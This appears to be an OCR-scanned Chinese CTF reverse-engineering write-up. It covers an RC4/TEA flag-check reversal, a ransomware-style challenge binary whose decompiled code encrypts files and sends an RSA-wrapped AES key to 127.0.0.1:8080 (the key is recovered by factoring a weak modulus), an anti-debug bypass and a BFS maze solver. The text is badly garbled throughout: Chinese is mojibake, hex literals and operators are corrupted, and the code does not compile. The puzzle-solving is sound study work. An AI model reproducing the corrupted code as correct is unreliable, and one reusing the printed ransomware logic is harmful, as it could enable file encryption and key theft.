*((_DWORD *)Bufl + i + 1) = v8;
}
return memcmp (Bufl, Buf2, Ox2CuLL) != 0;



© 0o N o b~ W NP

[
(o]

e
N B

13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

32
33
34
35
36
37
38
59
40
41
42
43

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include <windows.h>

#define _DWORD unsigned int
BYTE S_box[256];

BYTE s1[] = {0xfb, 0x10, 0xa5, Ox63, Oxa4, 0x42, 0x62, Oxec, Ox21, 0Oxfd, 0x81,
oxfb, Ox57, Ox28, Oxa4, Ox31, Oxc6};

BYTE s2[] = {0x9f, Oxbe, Oxaf, Ox3f, Ox87, 0x12, 0xfO, Ox50, Ox75, OxcO, Oxa4,
Oxf6, 0x78, 0x42, Ox77, Ox55, 0x80, Ox7b, Ox02, 0x67, 0x5e, Oxfe, OxO07, Oxec,
0Xx76, Ox77, Oxc8, Ox31, Ox66, 0x95, Ox0a, Ox25, Ox7b, Oxe2, Ox83, 0x02, Ox9c,
Ox7b, 0x9c, Oxe9, 0x93, Ox2e, 0x66, OXcT7};

void KSA()

{

int 1 = 0, j = 0, tmp;
srand(0x114514);
for (i = 0; i < 256; i++)

{
S_box[i] = 13
}
for (i = 0; i < 256; i++)
{
j = (j + S_box[i] + (rand() & OxFF)) % 256;
tmp = S_box[i];
S_box[i] = S_box[j];
S_box[j] = tmp;
}

void RC4(unsigned char *text, int len)

{

int i = 0, j = 0
for (int k = 0; k < len; k++)
{

i= (i + 1) % 256;
j = (j + S_box[i]) % 256;

int temp = S_box[i];
S_box[i] = S_box[j];
S_box[j] = temp;

text[k] A= S_box[(S_box[i] + S_box[j]) % 256];



44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

int main()

{

KSAQ) 3

RC4(sl, 17);

unsigned

void *Bufl;

int j;
int v7;
unsigned
unsigned

int 1

Buf2[0] =
Buf2[1] =
Buf2[2] =
Buf2[3] =
Buf2[4] =
Buf2[5] =
Buf2[6] =
Buf2[7] =
Buf2[8] =
Buf2[9] =

_DWORD *v4 = (_DWORD x)s2; // [rsp+58h]
// [rsp+60h]
// [rsp+6Ch]
// [rsp+70h]
int v8; // [rsp+74h]
int v9; // [rsp+78h]
// [rsp+7Ch]
Ox4238DBD9;
Ox3AD923ES5;
OxC1F2BC39;
Ox3A5D3D21;
OxB4C8BB1;
OXA5EALQE;
Ox40F9BFD1;
OxDCB94BF7;
OXE876F233;
Ox27DA1AA5;
= OxB952BACB;

Buf2[10]

for (int
{
V7 =
v9 =
v8 =
V7 =

int Buf2[11];

i=9; 1 > 0; --1)

03

*((_DWORD *)Buf2 + 1);
*((_DWORD *)Buf2 + i + 1);
0Ox6526B0OD9;

for (J = 05 J <= 31; ++j)

{

v8 -=

V7 += Ox61C88647;

V9 —= (V7 + v8) A (*xv4 + 16 * v8) A ((v8 >> 5) + v4[1]);

}

*x((_DWORD *)Buf2 + i) = v9;
*((_DWORD *)Buf2 + i + 1) = v8;

}
RC4 ( (unsii

gned char *)Buf2, 44);

printf("Buf2: %s\n", Buf2);

// Buf2: 0xGame{20994d4d-30ab-4918-bOPa-5cabael38613}

return 0;

[rbp-28h]
[rbp-26h]
[rbp-14h]
[rbp-16h]
[rbp-Ch]
[rbp-8h]
[rbp-4h]

(v7 + v9) M (v4[2] + 16 x v9) A ((v9 >> 5) + v4[3]);



Rt AR

&—TF2.pcapng, 1BERTCPH, KXTH MK

940562093044671832164601596047006087538730817712616191941210346596350554236362

266745019496886498654275776906007459419265791303737517308624461698148640999669

Faidm, REHR—T, KMIWRBRTHIXHNE, AREXE, -diRPAEREREGMR TSN

else

if ( (unsigned __ int8)sub_14000C650(al, v16, (unsigned int)"-d", (unsigned int)v396, v21, v22, v241, v316) )
v450 = 1;

sub_14e00B130(al, v16, (unsigned int)v395, (unsigned int)v41e, v24, v25, v242, v317);

sub_1400051EC(al, v16, (unsigned int)pbBuffer, (unsigned int)v41@, v26, v27, v243, v318);

sub_14e@00B400(al, vi6, v28, (unsigned int)v410, v29, v30);

sub_14e00B130(al, v16, (unsigned int)v394, (unsigned int)v411, v31, v32, v244, v319);

sub_1400051EC(al, v16, (unsigned int)v397, (unsigned int)v411, v33, v34, v245, v328);

sub_14000B400(al, vi16, v35, (unsigned int)v411, v36, v37);

sub_1400028FE(al, v16, (unsigned int)pbBuffer, (unsigned int)v413, 32, v38, v246, v321, v364);

sub_140001534(al, v16, (unsigned int)v413, (unsigned int)v412, v39, v40, v247, v322);

v41 = std::operator<<<char>(al, vi16, v412, &std::cout);

std::ostream: :operator<<(al, vi6, &std::endl<char,std::char_traits<char>>, v41);

sub_14000B400(al, vi16, v42, (unsigned int)v412, v43, vad);

sub_1400029A2(al, v16, v45, (unsigned int)v413, va6, v47, v248);

sub_1400028FE(al, v16, (unsigned int)v397, (unsigned int)v415, 16, v48, v249, v323, v365);

sub_140001534(al, v16, (unsigned int)v415, (unsigned int)v414, v49, v50, v250, v324);

v51 = std::operator<<<char>(al, vi6, v414, &std::cout);

std: :ostream: :operator<<(al, vi16, &std::endl<char,std::char_traits<char>>, v51);

sub_14000B400(al, v16, v52, (unsigned int)v4ld, v53, v54);

sub_1400029A2(al, vi6, v55, (unsigned int)v415, vs56, v57, v251);

-

ITIMAN—LERA, thiN111222 333444, whi—T, a3Rargv, adRarge, LATFHEDS
TEEFEMHA

—EB I RZEERMER T | NERERANG TS HHEE

\

\

288

TEHRZLE, BFFHREEENLR, ERMEBFTR, H&RIXEI8080imH, FILA BRI REH

BRI K E
BLEASEEKEY IVBIFHEE pbBuffer, v39TE®m R Fkey ivo

if ( 2rgo <= 3)
if ( !CryptGenRandom(phProv, 32u, pbBuffer) )

v23 = 1;
goto LABEL_63;

¥
if ( !CryptGenRandom(phProv, 16u, v397) )

v23 = 1;

goto LABEL_63;
¥
sub_7FF64DCD28FE(al, v16, (unsigned int)pbBuffer, (unsigned int)v417, 32, v22, v253, v326, v367);
sub_7FFe4DCD5071(al, v16, (unsigned int)v417, (unsigned int)v416, v58, v59, v254, v327);
sub_7FF64DCD3D46(al, v16, 8080, (unsigned int)v416, ve0, v6l, v255, v328);
sub_7FF64DCD29A2(al, v16, v62, (unsigned int)v4le, ve3, ved, v256);
sub_7FF64DCD29A2(al, v16, v65, (unsigned int)v417, v66, v67, v257);
sub_7FF64DCD28FE(al, v16, (unsigned int)v397, (unsigned int)v419, 16, v68, v258, v329, v368);
sub_7FFe4DCD5071(al, v16, (unsigned int)v419, (unsigned int)v418, v69, v70@, v259, v330);
sub_7FF64DCD3D46(al, v16, 8080, (unsigned int)v418, v71, v72, v260, v331);
sub_7FF64DCD29A2(al, v16, v73, (unsigned int)v418, v74, v75, v26l);
sub_7FF64DCD29A2(al, v16, v76, (unsigned int)v419, v77, v78, v262);



cis5c

name.sa_family = 2;

*¥(_WORD *)name.sa_data = htons(a3);

*(_DWORD *)&name.sa_data[2] = inet_addr("127.0.0.1");
if ( connect(s, &name, 16) == -1 )

{

v13 = std::operator<<<std::char_traits<char>>(al, a2, "connect failed: ", &libstdc 6__ ZSt4cerr);

v14 = WSAGetLastError();
v15 = std::ostream::operator<<(al, a2, vi4, vi3);
std: :operator<<<std::char_traits<char>>(al, a2, "\n", vi5);
closesocket(s);
WSACleanup();
return 1;
}

else

{

sub_7FF64DCD1760(al, a2, a4, (unsigned int)v35, vi11, v12, v34[0], v34[1]);

v19 = sub_7FF64DCD87BO(al, a2, v16, (unsigned int)v35, v17, vi18, v34[e]);

v23 = (const char *)sub_7FF64DCD87F0O(al, a2, v20, (unsigned int)v35, v21, v22, v34[0]);

v37 = send(s, v23, v19, 0);
if ((v37 == -1)
{

v24 = std::operator<<<std::char_traits<char>>(al, 22, "send failed: ", &libstdc___ 6_ ZSt4dcerr);

V25 = WSAGetLastError();
v26 = std::ostream::operator<<(al, a2, v25, v24);

b
else
{
v27 = std::operator<<<std::char_traits<char>>(al, a2, "Sent ", &libstdc__ 6_ ZSt4cout);
v28 = std::ostream::operator<<(al, a2, v37, v27);
v29 = std::operator<<<std::char_traits<char>>(al, a2, " bytes: ", v28);
v26 = std::operator<<<char>(al, a2, v35, v29);
}
etd: rAnaratanceectds rhar traitcerharss(al a2 "\n"  26Y-

SUD_/FFb4ULUZYAL(al, Vib, V55, (UNSL1gned 1NT)V4ls, Vsb, V5/, VZ51);

}

v79 = std::operator<<<std::char_traits<char>>(a1l, vi6, "Key: ", &libstdc 6__ZSt4cout);
sub_7FF64DCD28FE(al, vi16, (unsigned int)key, (unsigned int)v421, 32, v80, v252, v325, v366);
sub_7FF64DCD1534(al, v16, (unsigned int)v421, (unsigned int)v420, v81, v82, v263, v332);

v83 = std::operator<<<char>(al, vle, v428, v79);

std::ostream: :operator<<(al, v16, &std::endl<char,std::char_traits<char>>, v83);

sub_7FFe4DCDB40@(al, vle, v84, (unsigned int)v420, v85, v86);
sub_7FF64DCD29A2(al, vi16, v87, (unsigned int)v421, v88, v89, v264);

voe = std::operator<<<std::char_traits<char>>(al, vi6, "IV: ", &libstdc 6__ 7ZSt4cout);
sub_7FF64DCD28FE(al, vi16, (unsigned int)iv, (unsigned int)v423, 16, v9l, v265, v333, v369);
sub_7FF64DCD1534(al, v16, (unsigned int)v423, (unsighed int)v422, v92, v93, v266, Vv334);

v94 = std::operator<<<char>(al, vle, v422, v90);

std::ostream: :operator<<(al, vi6, &std::endl<char,std::char_traits<char>>, v94);

sub_7FF64DCDB40@(al, vi16, v95, (unsigned int)v422, vo6, v97);
sub_7FF64DCD29A2(al, v16, v98, (unsigned int)v423, v99, v108, v267);
pbData[e] = 8;

pbData[1] = 2;

v387 = 0;

v388 = 26128;

B—ThRE, —TME—NMEE, XMEFmENE/MEiERF,
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if ( !vie7 )
{
v174 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
al,
1LL,
L"Encrypting file: ",
&libstdc__ 6_ 7ZStS5wcout);
sub_7FFe4DCD83D@(al, 1, (unsigned int)v378, (unsigned int)v437, v175, v176, v289, v340);
v177 = std::operator<<<wchar_t>(al, 1LL, v437, v174);
std: :wostream: :operator<<(al, 1LL, &std::endl<wchar_t,std::char_traits<wchar_t>>, v177);
sub_7FFe4DCDC290(al, 1, v178, (unsigned int)v437, v179, v180@, v294);
sub_7FF64DCD9030(al, 1, (unsigned int)v378, (unsigned int)v379, vi181, v182, v295, v352);
sub_7FF64DCD91E@G(al, 1, (unsigned int)".", (unsigned int)v379, vi183, v184, v296, v353);
sub_7FF64DCD9B20(al, 1, (unsigned int)v378, (unsigned int)v381, 4, v185, v297, v354, v370);
sub_7FF64DCD9B60(al, 1, (unsigned int)v379, (unsigned int)v3s8e, 4, v186, v298, v355, v371);
sub_7FFe4DCD52D0(al, 1, (int)v381, hKey, (int)v38e, v187, v299, v356, v372);
std: :ofstream: :~ofstream(al, 1LL, v183, v380);
std::ifstream::~ifstream(al, 1LL, v189, v381);
sub_7FF64DCD91B@(al, 1, v198, (unsigned int)v379, v191, v192, v380);

¥

[y

}

else

{
sub_7FF64DCD8440(al, 1, (unsigned int)v378, (unsigned int)v439, vi16l, v162, v289, v340);
sub_7FF64DCD83D@(al, 1, (unsigned int)v439, (unsigned int)v438, v193, v194, v301, v357);
v197 = sub_7FF64DCDC750(al, 1, (unsigned int)".", (unsigned int)v438, v195, v196, v302, v358);
sub_7FF64DCDC290(al, 1, v198, (unsigned int)v438, v199, v200, v383);
sub_7FF64DCD91BO(al, 1, v20l, (unsigned int)v439, v202, v203, v304);

if ( !v197 )
{
v204 = std::operator<<<wchar_t,std: :char_traits<wchar_t>>(
al,
1LL,

L"Decrypting file: ",
&libstdc___6__ ZSt5wcout);
sub 7FF64DCD83DO(al. 1. (unsigned int)v378. (unsigned int)v440. v205, v206. v289, v340):

TIRAEHERTEENT N, FEEHENERHAIER, NXERNEEMERESTITHRMANG AT .
argl -> -d fREEIRT

arg2 (key hex) ->unhex

arg3 (ivhex) ->unhex

if ( (unsigned __int8)sub_7FF64DCDC650(al, v16, (unsigned int)"-d", (unsigned int)argl, v21, v22, v237, v318) )
va42 = 1;

copyByte_@(al, v16, (unsigned int)arg2, (unsigned int)v4e2, v24, v25, v238, v311);

unhex(al, v16, (unsigned int)key, (unsigned int)v4@2, v26, v27, v239, v312);

junk(al, vl1é, v28, (unsigned int)v402, v29, v30);

copyByte_@(al, v16, (unsigned int)arg3, (unsigned int)v4@3, v31, v32, v24@, v313);

unhex(al, vi16, (unsigned int)v389, (unsigned int)v4©3, v33, v34, v241, v314);

junk(al, v1é, v35, (unsigned int)v403, v36, v37);

copyByte(al, v16, (unsigned int)key, (unsigned int)v4e5, 32, v38, v242, v315, v356);

toHex(al, v16, (unsigned int)v4@5, (unsigned int)v4@4, v39, v48, v243, v316);

v4l = std::operator<<<char>(al, vie, v404, &libstdc__ 6_ ZSt4cout);

std::ostream: :operator<<(al, vi6, &std::endl<char,std::char_traits<char>>, v41);

junk(al, v16, v42, (unsigned int)v404, v43, v4d);

sub_7FF64DCD29A2(al, v16, v45, (unsigned int)v405, v4e6, v47, v244);

copyByte(al, v16, (unsigned int)v389, (unsigned int)v4e7, 16, v48, v245, v317, v357);

toHex(al, v16, (unsigned int)v4@7, (unsigned int)v4@6, v49, v50, v246, v318);

v51 = std::operator<<<char>(al, vi6, v406, &libstdc___ 6_ ZSt4cout);

std: :ostream: :operator<<(al, vie, &std::endl<char,std::char_traits<char>>, v51);

junk(al, v16, v52, (unsigned int)v406, v53, v54);

sub_7FF64DCD29A2(al, v16, v55, (unsigned int)v407, v56, V57, v247);

BES R ERYERRETZRRIZEMANE,
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if ( arge <= 3 )
if ( !CryptGenRandom(phProv, 32u, pbBuffer) )

v23 = 1;
goto LABEL_63;

if ( !CryptGenRandom(phProv, 16u, v397) )

v23 = 1;
goto LABEL_63;

3
sub_7FF64DCD28FE(al, v16, (unsigned int)pbBuffer, (unsigned int)v417, 32, v22, v253, v326, Vv367);

sub_7FF64DCD5071(al, v16, (unsigned int)v417, (unsigned int)v416, v58, v59, v254, v327);
sub_7FFe4DCD3D46(al, v16, 8080, (unsigned int)v416, vee, v6l, v255, v328);
sub_7FF64DCD29A2(al, v16, v62, (unsigned int)v4le, v63, ved, v256);

sub_7FF64DCD29A2(al, v16, v65, (unsigned int)v41l7, véee, ve7, v257);

sub_7FF64DCD28FE(al, v16, (unsigned int)v397, (unsigned int)v419, 16, v68, v258, v329, v368);
sub_7FF64DCD5671(al, v16, (unsigned int)v419, (unsigned int)v418, ve9, v70, v259, v330);
sub_7FFe4DCD3D46(al, v16, 8080, (unsigned int)v418, v71, v72, v260, v331);
sub_7FF64DCD29A2(al, v16, v73, (unsigned int)v418, v74, v75, v261);

sub_7FF64DCD29A2(al, v16, v76, (unsigned int)v419, v77, v78, v262);

BT RINERMEikeyHiv, AXMEFEZRED,

EABMBEL T REE, MEMEZBEVIRE, FMTLUEN: EFRE—&ITTEV X L5118 R XHE
SR T BEHBIKEYRIIV, FAE43%£5127.0.0.1 8080RVARSS2:, R/ &i%E T KEYFIIV,

BEMNMREERIRE TR IAELY? HNAERIMET
ARSI, W—EREERR, PEXMNERKESZBNZREMET -

if ( !CryptGenRandom(phProv, 32u, key) )

{
vie = 1;
goto LABEL_63;

if ( !CryptGenRandom(phProv, 16u, iv) )

{
vie = 1;
goto LABEL_63;

}

copyByte(al, vi12, (_ int64)key, (__int64)v339, 32);

sub_7FF64DCD5071(al, v12, (unsigned int)v339, (unsigned int)v338, v45, v46, v21@, v261);
sendMessage(z1, v12, 8080u, (int)v33s);

free_((void *)al, vi12, v47, (__int64)v338);

free ((void *)al, vi2, v48, (__ int64)v339);

copyByte(al, vi12, (__int64)iv, (__inte4)v34l, 16);

sub_7FF64DCD5071(al, v12, (unsigned int)v341, (unsigned int)v34@, v49, v50, v211, v262);
sendMessage(al, v12, 8080u, (int)v340);

free ((void *)al, vi2, v51, (_ int64)v340);

free ((void *)al, vi12, v52, ( int64)v341);

FEMINEE, IER—TERIE:
MZXERILEL, XTNFRRNZENGFEFE, MRS

ADIR

1 JNZHEi: 2D 63 73 A2 8B B2 D9 53 1A 02 A5 29 F9 74 F5 6E 7F 1E 96 87 09 6D 53 5F
AB 3F 57 89 C3 A2 82 12

2  JINZEfE: 0C C7 1D 73 A6 2D 41 F1 05 D9 OB CC 83 DD A® DE 2A DO 7C 3E 07 FA 9C 39
14 E5 C5 ED 58 EO 69 0D OB

3 RREE: Key:
©x1282A2C389573FAB5F536D0987961E7F6EF574F929A5021A53D9B28BA273032D

FoitElsendMessage, BEREUIER, adBENREGE, 2. 3D ERENER B LIN K EL



else
{
sub_7FF64DCD1760(al, a2, a4, (unsigned int)v35, vil, v12, v34[e], v34[1]);
v1l9 = sub_7FF64DCD87BO(al, a2, v16, (unsigned int)v35, v17, vi8, v34[0]);
v23 = (const char *)sub_7FF64DCD87F@(al, a2, v20, (unsigned int)v35, v21, v22, v34[@]);
v37 = send(s, v23, v19, 0);
if (V37 == -1)

B—TERE, KX#FE, ELAIE, XABZENFHRLI0HGFFHRRE, BiEl/EHEE

#&#E: logl0 (256)~2.408. REHFAEIERZRI0, E108VRE

v28 = (int)((double)*(int *)(a3 + 12) * 2.40824 + 1.0);
sub_7FF64DCDB2E@( (_DWORD)al, a2, a3, (unsigned int)v23, a5, a6);

va4a[e] =
for (i =0; i < *(_DWORD *)(a3 + 12); ++i )
{
v34 = o;
r(J=0; J< v23; ++] )
{

v34 += v24[j + 620] + v24[j] * *(unsigned __ int8 *)(*(_QWORD *)a3 + i);
v24[7 + 620] = v34 % 1@;

v34a /= 1@;
b
v34 = 9;
for (( k = @; k < v28; ++k )
{

v34 4= v24[k] << 8;
v24[k] = v34 % 10;
v34 /= 18;

}
for ((m = v28; m > @ && !v24[m + 619]; --m )

2
for (n=m-1; n > @; --n )
sub_7FF64DCDB700( (_DWORD)al, a2, (char)(v24[n + 620] + 48), (unsigned int)v23, v6, v7, v19, v21);
if ( *(_DWORD *)(a3 + 8) == -1 )
sub_7FF64DCDC780( (_DWORD)al, a2, (unsigned int)"-", (unsigned int)v26, (unsigned int)v23, v7, v19, v21);
else
copyByte O((int)al, a2, (int)v23, (int)v26, v6, Vv7);
sub_7FF64DCDB430( (_DWORD)al, a2, (unsigned int)v26, (unsigned int)v23, v8, v9, v19, v21);
junk((int)al, a2, vie, (int)v2e6, vil, vi2);
sub_7FF64DCDAFBO( (_DWORD)al, a2, (unsigned int)v23, a4, vi13, vl4, v20, v22);
junk((int)al, a2, vi15, (int)v23, vie, vi17);
}
else
{
v27 = &v25;
sub_7FF64DCDB350(al, a2, (__ inte4)"e@", a4, (int)&v25, a6);
sub_7FF64DCDOC30() ;

HEMBREEER, WRZECrypto)ifd, HEI6S553TMXMNAMMAEREIZRSAT

v27 = (char *)&v20[13] + 7;
sub_7FF64DCDB350 (
al,
a2,
(__int64)"1294787702630841806287693875819503767329411267154281759595683996937344294354199",
(unsigned int)&v20[-14] + 176,
(unsigned int)&v20[-9] + 7 + 176,
a6);
sub_7FF64DCD24EE((_DWORD)al, a2, (unsigned int)v23, (unsigned int)v22, v6, v7);
junk((int)al, a2, v8, (int)v23, v9, vi10);
sub_7FF64DCDOC30();
v26 = &v25;
sub_7FF64DCDB35@(al, a2, (__ int64)"65537", (int)v24, (int)&v25, vil);
sub_7FF64DCD24EE((_DWORD)al, a2, (unsigned int)v24, (unsigned int)v21, vi12, vi13);
junk((int)al, a2, v14, (int)v24, v15, vi16);
sub_7FF64DCDIC30();
sub_7FF64DCD31A0((_DWORD)al, a2, a3, a4, (unsigned int)v21l, (unsigned int)v22, v20[0], v20[1], v20[2]);
free_(al, a2, v17, (__inte4)v21);
free_(al, a2, v18, (__inte4)v22);
return a4;

RApythonlli—TF 2% 2c=pow(m, e, N), FILUEEIHSEERSAINE
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hex_str = "2D 03 73 A2 8B B2 D9 53 1A 02 A5 29 F9 74 F5 6E 7F 1E 96 87 09 6D
53 5F AB 3F 57 89 C3 A2 82 12"
# Key: Ox1282A2C389573FAB5F536D0987961E7F6EF574F929A5021A53D9B28BA273032D

num = int.from_bytes(bytes.fromhex(hex_str), byteorder="1l1ittle")
print(num)
# 8372444747481441114806627663982646110080680876922988722792806344547391177517

N =
1294787702630841806287693875819503767329411267154281759595683996937344294354199
e = 65537

print(pow(num, e, N))

#
1279780115972559753198947946704602497089974053206366309256762553223875668068108

hex_str = "0C C7 1D 73 A6 2D 41 F1 05 D9 0B CC 83 DD A0 DE 2A DO 7C 3E 07 FA
9C 39 14 E5 C5 ED 58 EO 69 6D 0B"

num = int.from_bytes(bytes.fromhex(hex_str), byteorder="1little")

print(num)

#
1279780115972559753198947946704602497089974053206366309256762553223875668068108

print(N.bit_length())
# 260

BRI EHIEAERSARIT], XFEINHAEREK, HAyafunfig
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10
11
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13

factor (129478770263084180628769387581950376732941126715428175959568399693734429
4354199)

fac: factoring
1294787702630841806287693875819503767329411267154281759595683996937344294354199
fac: using pretesting plan: normal

fac: no tune info: using gs/gnfs crossover of 95 digits
div: primes less than 10000

fmt: 1000000 iterations

rho: x"2 + 3, starting 1000 -iterations on C79

rho: x"2 + 2, starting 1000 -iterations on C79

rho: x"2 + 1, starting 1000 -iterations on C79

pml: starting Bl = 150K, B2 = gmp-ecm default on C79
ecm: 30/30 curves on C79, B1=2K, B2=gmp-ecm default



14 ecm: 74/74 curves on C79, B1=11K, B2=gmp-ecm default
15 ecm: 175/175 curves on C79, B1=50K, B2=gmp-ecm default, ETA: 0 sec
16
17 starting SIQS on c79:
1294787702630841806287693875819503767329411267154281759595683996937344294354199
18
19 ==== sijeving in progress (1 thread): 41120 relations needed ====
20 ==== Press ctrl-c to abort and save state ====
21 41168 rels found: 20821 full + 20347 from 215897 partial, (3150.47 rels/sec)
22
23 SIQS elapsed time = 76.0520 seconds.
24  Total factoring time = 86.6302 seconds
25
26
27  ***xfactors found***
28
29 P40 = 1330137249390799512563582841814876337813
30 P39 = 973424135910675582062565817184635606523
31
32 ans = 1
(ANEES
1 from Crypto.Util.number -import =*
2
3
4 p = 1330137249390799512563582841814876337813
5 q = 973424135910675582062565817184635606523
6 N =
1294787702630841806287693875819503767329411267154281759595683996937344294354199
assert N == p *x q
e = 65537
d = inverse(e, (p - 1) * (q - 1))
10
11 key_enc =
940562093044671832164601596047006087538730817712616191941210346596350554236362
12 dv_enc =
266745019496886498654275776906007459419265791303737517308624461698148640999669
13
14 key = pow(key_enc, d, N)
15 dv = pow(iv_enc, d, N)
16
17  print(hex(key))
18 print(hex(iv))
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1 Int.exe -d 404ea31f4109911fb47cee98924fb6d0ee8788af8a3e0704d94a83cda804abdl

90357aaef89ef45a8ef1dbl4adddl6leb
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#
& 4 WASDZE 18 1

HHEBHH
# P #
HEE #

##
i &1 46 WASDZS

¥ =RisPresentDebuggerik ZIFEN A B AV, HZFESE,

CLCALU.UUUU/I | 7 ULL LU

.text0:00007FF7DEE14013 cmp
.text@:00007FF7DEE14017 jnz

muv Lt upTal 5_a1u ],

1o

[rbp+arg_8], 1
short loc_7FF7DEE1403C

Y

B

.text0:00007FF7DEE14019 mov
.text@:00007FF7DEE14020 call
.text0:00007FF7DEE14622 test

rax, cs:__imp_IsDebuggerPresent
rax ; __imp_IsDebuggerPresent
eax, eax

.text0:00007FF7DEE14026 mov ecx, OE2BFBh ; Seed||.text0:00007FF7DEE14032
.text0:00007FF7DEE1402B call  srand .textd:00007FF7DEE14032 loc_7FF7DEE14032: ; Seed
.text0:00007FF7DEE14030 jmp short loc_7FF7DEE14@3C||.text0:000@07FF7DEE14032 mov ecx, 469D2h
.text0:00007FF7DEE14037 call srand
T [ X3 ‘
Etext9:99997FF7DEE14Q3C
@ Modify register value X
New value of ZF | ~
111 222 333 444
I UK | T TarnceT
_—
IREE E S E]
.bss:0@RO7FF7DEE19@40 ; BYTE asc_ 7FF7DEE19040[10208]
.bss:00RO7FF7DEE190@40 asc_7FF7DEE19040 db '######aaauHHHHtttdd S HHHHH IS S S SRS S S S
.bss:0@8R07FF7DEE19040
.bss:00007FF7DEE19040
.bss:00007FF7DEE19081 db '#HAHFHEHHHHHHHHHHEHSHHEESSEHERHHBHIHAP # #"
.bss:000807FF7DEE190@C2 db ' # # # # # # # !
.bss:@08007FF7DEE191@3 db ' # PHEHEEHAE BRHHHHHT 4 BHESEEE § 4 # & # # #$88 SEgud ausssssd’
.bss:880807FF7DEE19144 db '# { toH O# # HHHHE S8 HHE SEEEE 4 # # # ## # # # # # !
.bss:00@07FF7DEE19185 db '# # ###HHH # # # # # # # # # # #'
.bss:00@07FF7DEE191C6 db # # # # #H# # HHH #HE # # HHHE HHHHHEHHHE HHE # 8 # #Hieed’
.bss:00@07FF7DEE19207 db ' # # # ### # ### HHHHH S HHE S 4 4 8 S H#4 # # # #'
.bss:00@07FF7DEE19248 db # # # # ## # # # # # # # # # '
.bss:00007FF7DEE19289 db '# # # # # # ## # # ######ﬁ###### # ##H # #E8 4 dununss #
.bss:00007FF7DEE1S2CA db '# # #H84H HunHHdiddds # § 4 suHHd # #F SEEEE # auais #HE £ # #
.bss:00007FF7DEE1930B db # # # # # # # # # # # # #
.bss:00007FF7DEE1934C db # # # # H#O## HHHEE S 8 4 SR 8 S8y aHdssEd’
.bss:00007FF7DEE1938D db ‘'#### HEHHH # # HHH SHE § SHHHE S SR b S fEEdT
.bss:@8007FF7DEE193CE db " # #### #H## # # ### # # # # '
.bss:008007FF7DEE1940F db ' # # # # # # B O HEHHHEE 8 4 4 HH#H # # # &8
.bss:000RO7FF7DEE19450 db '# ###HHHHHE # # # # SHEEE # # HHHHE S8 ¥ § SuuHaHd S48 #8E 4 gus’
.bss:08B007FF7DEE19491 db ' ### ## # # # # ## ## # ## ##HH # #"

Python BFSE KRR
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def find_shortest_path(maze_str):

fEFABFSEE IR E R MPEIERRIGIRZ

:param maze_str: HKEFFFHR, B T, P. EA/, \nDEITT
ireturn: RIGEREFEFRIE (WASDLAE ) HNone (EER)

# BXEFRBERANZHYR

maze = []

start = None

end = None

for i, line in enumerate(maze_str.strip().split("\n")):
row = list(line)
maze.append (row)
# FIESPHASE
if "P" d9n row:
start = (i, row.index("P"))
if "E" dn row:

end = (i, row.index("E"))

# REERHIEAMAS
if not start or not end:

return None

rows len(maze)

cols len(maze[0]) if rows > 0 else 0

# 1IEREHRNAEN R ZUENREF
visited = [[False for
# FAFEHRFNEIIRIER
predecessor = [[None for

# IERIASMIENEEAE

in range(cols)] for

direction_to = [[None for _ in range(cols)] for _ in range(rows)]

# HEME: EW). F(S). E£(A). A(D)
directions = [

(-1, 0, "w"), # kL

(1, o, "s™), # F

(e, -1, "A"), # kK

(0, 1, "D"), # H

# {ERAPTISEIBFS: 8 NTHEE (X, V)
from collections {import deque

in range(rows) ]

in range(cols)] for _ in range(rows) ]
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48
49
50
51
52
53
54
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56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

88

89

queue = deque()
queue.append(start)
visited[start[0]][start[1]] = True

found = False

while queue and not found:

X, y = queue.popleft() # #HPAETER (TEMRT)

# =AFMERM
for dx, dy, dir_char in directions:
nx, ny = x + dx, y + dy
# NERUERSHER(EREAN. F2E. KifH)
if @ <= nx < rows and 0 <= ny < cols:
if not visited[nx][ny] and maze[nx][ny] != "#":
visited[nx][ny] = True
predecessor [nx] [ny] = (x, Yy)
direction_to[nx][ny] = dir_char
queue.append((nx, ny))
# WERTIELRS
if (nx, ny) == end:
found = True
break

# NRWIAER, EIWREZ
if found:
path = []
current = end
# MR LSEHEIER
while current != start:
X, Yy = current
path.append(direction_to[x][y])
current = predecessor([x][y]
# RIFREZE, FEMNESTIZRINIRE
return "".join(reversed(path))
else:
# RIEIRRZ

return None

maze_example = """
HAAAHBHAAHHHHAAHBHAA AR B AAHHHAAAH B HAAH B HAAAHHHAAHHH A AR HHHAAHHHAAAHBHAAHHHHARHHS
HHEAAHHHAAAHBHARAHHBHARH

#P # # # # # # #

# # # #

HAAAHBHAR HHAAAHE # HHHHAAAH H # H # # B ### HHEAHH HAAHHHHAR HHEAHH # # # HHAHH
HHH#H HHH HHHHS # H # # H#



90

91

92

98

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

# # # # # # # # #H#HHHH # # # # # # # #
# # # ## # # #

HOH OHAH HAH H OH HAHHH HHHHAHAHAHAHE HHE F OF O HAHAH B OH OH HEH H# HEH HHHHA
HHRHE HAH HHE # H # HHHAH #

# # # # # # # # # ## # # # # # # # #

# # # ## # # #

#OH O HAHAHAHAHAHAR H# HHH # HHA R RHAHAHE # # # HAHAH HAHAHAHAHAR # # # HHHHA

# O# HHHAH # HAHAH #HH4 #

# # # # # # # # # # # # # # # # #
# # # # #

HOHHHAH HAH H OH HAHSHEH # HHA AHAHAHAHAHE HHAHE B O HAHAH HAH H# HAHHH HHAHA
HHAHHHHAHHAH RS HAS HHHE HAH
# # ## # # # # # # # # # # # # # # # # #
# # # #

HOH HAHAHAH H OH OH HHH H H # HHA RHAHAHAHS F F H O HAHAH H H HAHAH HHH H# 4
HHAHHHH HHH HHAH H OHHA HHH #
# # # # # ## # # # ##HHH # # # # #

# # # #
#OHHH HAHAHAHAH HAH H OH H HHA RHA RHAHE # # # HHH O HAHAHAHAHAHAHAER HAHHE HH4
HH# HEHAS HHAAHAHHAHE #
## # # # # # # # # # # # # # # # # # #
# # # # # #
HOHOH K OH OH HAHEH HAHSHHHHE HHA RHAHE HHE O HHE HHHAHAH B HAHAHEH HAHAH HH4 #
#O# OHOH OHHA HAHAH # H# #
# # # # # # # # # # # # # # # # # # # #
